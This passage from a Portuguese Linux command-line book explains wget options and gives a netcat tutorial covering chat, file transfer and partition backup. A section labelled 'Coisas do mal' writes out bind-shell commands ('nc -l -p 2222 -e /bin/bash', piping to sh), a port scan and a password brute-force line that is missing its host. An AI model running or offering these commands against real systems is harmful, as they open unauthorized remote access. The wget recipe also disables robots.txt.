Espera o número de segundos especificados em `tempo` entre duas requisições. Se pode especificar em minutos, horas e dias anexando os sufixos `m`, `h`, e `d`, respectivamente

`--waitretry=seconds`

Se você não deseja esperar um tempo entre cada *download,* mas somente entre as re-tentativas após falhas, use esta opção. Note que após a 1ª tentativa, esperará 1 segundo, após a 2ª, 2 segundos e assim por diante.

`-Q quota, --quota=quota`

Especifica um tamanho máximo para os *downloads* automáticos (de alguma forma programados). O tamanho é especificado em *bytes* por padrão, mas pode-se usar os sufixos `k` (para *kilobytes)* ou `m` (para *megabytes).*

`-nd, --no-directories`

Não cria a hierarquia de diretórios quando fazendo *download* recursivamente

`-x, --force-directories`

Força a criação da hierarquia de diretórios. Por exemplo:

```
wget -x http://www.julioneves.com
```

será armazenado em `www.julioneves.com`.

`-nH, --no-host-directories`

Não cria a estrutura de diretório com o nome do *host* como normalmente faz. Assim se fizermos:

```
wget -nH http://www.julioneves.com
```

Obteremos o arquivo `index.html` no diretório corrente..

`--cut-dirs=n`

Ignora `n` componentes de diretório. Um exemplo composto para elucidar este e o anterior:

A URL é	`ftp://ftp.xemacs.org/pub/xemacs/`
No options	`ftp.xemacs.org/pub/xemacs/`
`-nH`	`pub/xemacs/`
`-nH -cut-dirs=1`	`xemacs/`
`-nH -cut-dirs=2`	`.`

`-P prefixo, --directory-prefix=prefixo`

Os arquivos serão baixados a partir do diretório prefixo. Exemplo:

```
$ wget -P site_do_julio http://www.julioneves.com
$ ls -lR
.:
total 4
drwxr-xr-x 2 julio julio 4096 2007-08-19 14:31 site_do_julio

./site_do_julio:
total 16
-rw-r--r-- 1 julio julio 15771 2007-08-19 14:31 index.html
```

`-E, --html-extension`

Se baixarmos um arquivo do tipo `text/html` e a URL não termina em `htm` ou `html` (ambos com qualquer combinação de maiúsculas e minúsculas, esta opção forçara um sufixo `htlm` no arquivo baixado. Um uso bom para isto é quando você baixa CGIs. Uma URL como `http://site.com/article.cgi?25` será baixada como `article.cgi? 25.html`.

`-r, --recursive`

Ativa o modo recursivo

`-l n, --level profundidad`

O número `n` especifica o nível de profundidade máximo quando está em modo recursivo.

`--delete-after`

Usando esta opção, cada arquivo baixado, será deletado no computador local. O seu uso seria para carregar o cache do *proxy* com os *sites* mais populares. Veja:

```
$ wget -r -nd --delete-after http://www.julioneves.com
```

A opção `-r` é para baixar recursivamente e a `-nd` é para não criar diretório.

`-k, --convert-links`

Depois que o *download* está completo, converte os *links* no arquivo que foi baixado para ficarem apropriados para a visão local. Isto afeta não somente os *hyperlinks* visíveis, mas qualquer parte do documento que aponte para um índice externo, tal como imagens embutidas, CSS, *hyperlinks* conteúdo não-HTML, etc.

Os *links* serão modificados de uma das duas formas abaixo:

- Os *links* para arquivos que também foram baixados pelo `wget`, serão alterados para fazer referência ao arquivo como um *link* relativo (com caminho relativo). Exemplo: se o arquivo baixado for `/foo/doc.html` e nele tenha um *link* para `/bar/img.gif`, então o *link* em `doc.html` será modificado para `../bar/img.gif`.
- Se o arquivo apontado não foi baixado pelo `wget`, ele será modificado para incluir o nome do host e o caminho absoluto do local apontado. Exemplo: se o arquivo baixado `/foo/doc.htm` apontar para `/bar/img.gif` (ou para `../bar/img.gif`), então o link para `doc.html` será modificado para apontar para `http://NomeDoHost/bar/img.gif`.

`-K. --backup-converted`

Quando convertendo um arquivo, copia a versão original com um sufixo `.orig`.

`-m, --mirror`

Liga as opções apropriadas para fazer o espelhamento. Esta opção liga a recursividade e o time-stamping e ajusta a profundidade de recursividade para infinito.

`-p, --page-requisites`

Esta opção faz com que `wget` baixe todos os recursos necessários para uma visão correta do arquivo HTML (imagens, sons, CSS...).

`-A lista --accept lista`
`-R lista --reject lista`

Aceita ou recusa `lista` que são listas de nomes de arquivos, de sufixos ou de padrões separadas por vírgulas `(,)`. Obs: os padrões referidos, são os mesmos caracteres curingas válidos para o comando `ls`.

`-L, --relative`

`wget` segue somente os *links* relativos. Opção útil para quando se quer baixar somente os recursos dentro da mesma página.

`-np, --no-parent`

Diz ao `wget` para não baixar arquivos que se encontram em um nível superior dentro da hierarquia de diretórios.

Um exemplo legal que achei para que possamos ver o `wget` em ação foi sugerido por Jeff Veen[3] e é um uso muito legal deste comando. Atualmente existem toneladas de diretórios, filtros e *weblogs* que apontam para uns tipos interessantes de mídias. Você pode criar um arquivo de texto com seus *sites* favoritos que tenham *links* para arquivos mp3 e todos os dias usando `wget`, você pode baixar automaticamente os arquivos recém adicionados aos *sites.*

Primeiro crie um arquivo chamado `mp3_sites.txt`, e nele liste as URLs que têm as músicas do estilo que você mais gosta, uma por linha (veja `http://del.icio.us/tag/system:filetype:mp3` ou `http://stereogum.com` ou então veja as dicas em `http://www.lifehacker.com/software/geek-to-live/geek-to-live-find-free-music-on-the-web-136578.php`).

Quando tudo estiver pronto use o seguinte comando:

```
$ wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i mp3_sites.txt
```

Onde a opção `-e` age como se incorporasse temporariamente a linha `robots=off` ao arquivo `.wgetrc` somente durante a execução deste comando.

Esta linha baixa recursivamente somente arquivos de mp3 cujos *sites* estão listados em `mp3_sites.txt` e que são mais novos que qualquer um que você já tenha baixado.

O melhor disso tudo é que após você colocá-lo no seu `cron` para ser executado com uma determinada periodicidade, você terá uma sempre renovada *jukebox* de alguns *sites* confiáveis que você escolheu.

Algumas opções interessantes que podemos encontrar:

- Número de tentativas na hora de baixar um arquivo

```
tries = 20
```

- Profundidade máxima em modo recursivo

3 http://www.veen.com/jeff/archives/000573.html

```
reclevel = 5
```

- Tempo de espera entre tentativas (incremento linear, espera 1s primeira tentativa, 2s segunda tentativa, ...)

```
waitretry = 1
```

- Anexar cabeçalhos http

```
header = From: teu nome
header = Accept-Language: pt_BR
```

- Criar estrutura de diretórios obtendo um único arquivo.

```
dirstrcut= off
```

- Modo recursivo de forma automática

```
recursive = off
```

- Criar um *backup* dos arquivos aos quais se aplica conversão (equivale a ativar a opção `-K`)

```
backup_converted= off
```

- # Seguir por padrão (*default)* os links de ftps em arquivos HTML

```
follow_ftp = off
```

Brincando pela rede com o netcat

Diversas publicações que li sobre o utilitário de rede `netcat`, se referiam a ele como o "Canivete do Exército Suíço das Ferramentas de Rede", e por uma boa razão. Como os melhores utilitários Unix, seu uso é bastante simples, porém é capaz de executar diversas tarefas muito úteis. O seu título é bastante significativo: atua como o comando `cat`, porém sua atuação se dá sempre na rede (que em inglês é `net`).

No seu uso, devemos deixar uma máquina preparada para "ouvir" com `netcat` e outras da rede conectam-se a ela. Uma vez estabelecida a conexão, podemos mandar texto, executar um comando *Shell* na máquina remota e diversas outras coisas que você faria com o comando `cat` na máquina local.

Na maioria das distribuições o `netcat` chama-se `nc`, porém em distribuições como o Ubuntu, por exemplo, o `netcat` pode ser chamado como `netcat` ou como `nc`. Um sempre é link simbólico para o outro e isso mantém a compatibilidade com sistemas que utilizam somente uma das nomenclaturas para o utilitário. Esse comportamento é mostrado a seguir e foi retirado de um sistema Ubuntu Linux 7.10:

```
$ ls -l /bin/netcat
lrwxrwxrwx 1 root root 2 2007-10-20 12:55 /bin/netcat -> nc
```

E é por este motivo que ao longo deste apêndice ele será tratado de ambas as formas.

Coisas do bem

Abra 2 janelas de comando no seu computador (é necessário que o pacote de `netcat` esteja

instalado). O que vamos fazer agora em somente um computador, seria feito da mesma forma em mais de um trabalhando através da rede.

Em uma janela escreva:

```
$ nc -l -p 2222
```

Isso diz ao `netcat` para iniciar um serviço TCP e ouvir (`-l` de *listen*) a porta `2222`.

Deixe de lado esta janela que aparentemente está congelada (somente aparentemente, pois ela está "ouvindo" a referida porta) e vamos para a outra janela. Lá digite:

```
$ nc <endereço_IP_da_maquina_na_escuta> 2222
```

Como o `<endereço_IP_da_maquina_na_escuta>` é também o endereço da sua máquina, caso você não o saiba, substitua-o por `localhost (ou 127.0.0.1)`.

Pois é, nada de excitante aconteceu até agora, parece que ambas as seções estão congeladas... Mas tecle nesta segunda tela algo muuuuito original como `"teste do netcat" :)` E aperte `<ENTER>`.

O que aconteceu? Tudo que você escreveu apareceu na outra janela. Como dissemos, parece muito com o comando `cat`.

O que foi descrito até agora, aplica-se a transmissões TCP. Se você quiser usar UDP, na primeira janela faça:

```
$ nc -l -u -p 2222
```

e na outra faça:

```
$ nc -u localhost 2222
```

Onde a opção `-u` serve para levantar este protocolo.

Imitando um ftp

Para travar conhecimento com o `netcat` o exemplo anterior valeu, mas na vida real, o `netcat` é sempre usado com um redirecionamento. Vamos voltar à primeira janela para ver um exemplo clássico. Digite:

```
$ netcat -l -p 2222 > saida
```

Como você pode ver, a saída do `netcat` está sendo redirecionada para o arquivo `saida`. Agora vamos para a outra janela, mas primeiramente vamos preparar um arquivo chamado `entrada`:

```
$ cat > entrada << fim
> Vou passar o conteúdo do diretório $PWD
> $(ls | paste - - - -)
> fim
$ cat entrada
Vou passar o conteúdo do diretório /home/julio/tstsh
numperf.sh     outputfile     Pacotes   par
pastor.sh      procperf.sh    scs.sh    setacores2.sh
setacores.sh   troca.sh       tst.sh
```

E vamos transmiti-lo:

```
$ netcat localhost 2222 -q 5 < entrada
```

A opção `-q` foi usada para que o `netcat` caísse após o fim da transmissão, mas dei uma colher de chá de 5 segundos `(-q 5)` antes que isso ocorresse. Vamos testar:

```
$ cat saida
Vou passar o conteúdo do diretório /home/julio/tstsh
numperf.sh     outputfile     Pacotes   par
pastor.sh      procperf.sh    scs.sh    setacores2.sh
setacores.sh   troca.sh       tst.sh
```

Você também pode usar o `netcat` para atuar como um `ftp`, copiando arquivos de (ou para) uma máquina remota. Vamos ver como mandar um arquivo de uma máquina apelidada de `linux1` para outra apelidada de `linux2`. Em `linux2` faça:

```
$ nc -l -p 2222 > /arquivo/de/destino
```

E em `linux1` faça:

```
$ nc <endereço_IP_da_maquina_linux2> 2222 < arquivo/da/origem
```

Tar bom assim?

De acordo com o que você viu, já deve ter dado para perceber que você pode passar dinamicamente um monte de arquivos de uma máquina para outra, usando o comando `tar` em conjunto com o `netcat`. Vejamos:

Na máquina que chamamos de `linux1` façamos:

```
$ tar cvf - /path/do/diretorio | nc -w 3 <IP de Linux2> 2222
```

E em linux2 faríamos:

```
$ nc -l -p 2222 | tar xvf -
```

Os arquivos que estavam no diretório `/path/do/diretorio` de `linux1`, passaram pelo `tar` e assim como vimos no comando `paste` (na seção Perfumarias Úteis), o *pipe* recebe o que foi gerado para a *stdout*, representada por traço `(-)`, mandando tudo para o `netcat`. Na linha seguinte, o *pipe* de `linux2` manda o que recebeu da máquina remota `(linux1)` via `netcat`, para a *stdin* que como já vimos está também representada pelo traço `(-)`, expandindo os arquivos em `linux2`.

Com o netcat é possível fazer backup integral de partições inteiras, como no exemplo a seguir:

Computador que possui a partição a ser "*backupeada*":

```
$ dd if=/dev/sda1 | netcat 10.1.1.1 2222
```

Computador que irá receber o backup da partição (com endereço IP `10.1.1.1`):

```
$ netcat -l -p 2222 > /tmp/backup_particao_sda1.iso
```

Um chat chato

O `netcat` também te permite estabelecer sessões de *chat* emulando o comando `write`. Para fazer isso, o lado "escutador" deverá fazer:

```
$ nc -vlp 2222
```

Aqui a a opção `-v` significa *verbose* (algo como tagarela).

O `netcat` não precisa conectar-se com ele mesmo. Ele pode conectar-se com diversos serviços, desde que se conecte a uma determinada porta, ele sempre poderá "escutar" esta porta. Se você novamente colocar a sua máquina para escutar a porta `2222` e para conectar-se a esta porta pelo navegador Firefox, use o seguinte endereço: `http://localhost:2222/"Olá Pessoal",` então a sua janela de comandos apresentará algo assim (tirei algumas linhas para não poluir muito).

```
GET /%22Ol%C3%A1%20Pessoal%22 HTTP/1.1
Host: localhost:2222
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
```

Coisas do mal

O que vimos até agora sobre o `netcat`, foi tudo do bem, porém ele pode também ser usado para fins não muito nobres, e por isso relutei muito em colocar esta seção no livro, mas como quero que ele fique cada vez mais próximo de uma obra completa sobre o ambiente orientado a caractere do Linux, a partir da sua 7ª edição resolvi colocar.

Abrindo uma porta para o inimigo (trojan)

O exemplo a seguir somente funcionará (com a opção `-e`) se em tempo de compilação do `nc`, foi colocada a opção GAPING_SECURITY_HOLE. Para abrir um *Shell* remoto, faça:

```
$ nc -l -p 2222 -e /bin/bash
```

Caso esta opção não tenha sido usada, pode-se fazer o mesmo da seguinte forma:

```
$ nc -l -p 2222 | sh
```

Nesse último caso, o atacante não terá na máquina cliente o resultado gerado pelos comandos executados no servidor Entretanto, é possível utilizar novamente o `netcat` no servidor e no cliente para devolver a saída do comando executado para o computador do atacante.

E conecte-se a ele usando:

```
$ nc <Endereço_IP_do_Destino> 2222
```

Desta forma você ganhará um *bash* que lhe permitirá executar todos os comandos e ver as suas saídas ganhando desta forma o domínio da máquina. Termine da mesma forma que você termina uma sessão de *bash*, isto é, tecle `exit`.

Procurando portas abertas (scan)

Se você quiser procurar portas abertas em uma máquina, use a seguinte construção:

```
$ nc -v <endereço da máquina> 22-2222
```

Assim, o `netcat` testará todas as portas entre `22` e `2222` que estão respondendo, parando na primeira aberta para troca de mensagens. Quando testei no meu computador, deu a seguinte mensagem indicando uma porta aberta:

```
localhost [127.0.0.1] 631 (ipp) open
```

Como não lembrava que porta era essa, testei a porta com o comando:

```
$ nc -v localhost 631
```

E mandei um `QUIT` que é quase um comando padrão para muitos tipos de porta TCP. Ele então me devolveu um monte de HTML, inclusive as linhas a seguir:

```
HTTP/1.0 400 Bad Request
Date: Wed, 05 Sep 2007 18:30:36 GMT
Server: CUPS/1.2
```

Era a interface *web* do meu servidor de impressão.

Testando senhas (brute force)

Existem *sites* de *crackers* que fornecem arquivos com senhas mais usuais. De posse de um arquivo destes (que aqui chamaremos de `senhas.txt`) pode-se fazer o seguinte:

```
$ nc -v 79 < senhas.txt > senhas_boas.txt
```

A porta usada foi a do `finger (79)` e foi que mandamos o conteúdo do arquivo de senhas. Todas as senhas válidas serão armazenadas em `senhas_boas.txt`.

Resumo

As principais opções que vimos do `netcat` estão resumidas na tabela a seguir:

Principais opções do comando netcat	
Opção	**Significado**
`-e cmd`	Executa o comando `cmd` usando dados da rede como entrada e mandando saída e erros também para a rede[4]
`-l`	Coloca em modo de "escuta" (*listen*)
`-n`	Recebe e faz conexões apenas em formato numérico (IP);
`-p`	Define a porta local em uso
`-q seg`	Termina após esperar `seg` segundos depois do fim da transmissão
`-u`	Modo UDP
`-v`	Falador (*verbose*). utilize 2 vezes `(-vv)` para ficar mais prolixo
`-w seg`	Encerra transmissão após esperar `seg` segundos (*time-out*).

O `netcat` é isso tudo que você viu, porém ele tem um inconveniente. Se alguém estiver "snirfando" a sua rede, poderá ver o que você está fazendo por ser tudo feito em texto plano. Se você precisar se resguardar quanto a isso, use o `cryptcat`, disponível em http://sourceforge.net/project/showfiles.php?group_id=11983, que te permite ligar o modo criptografado.

4 Essa opção funcionará somente se em tempo de compilação do `nc`, for usada a opção GAPING_SECURITY_HOLE.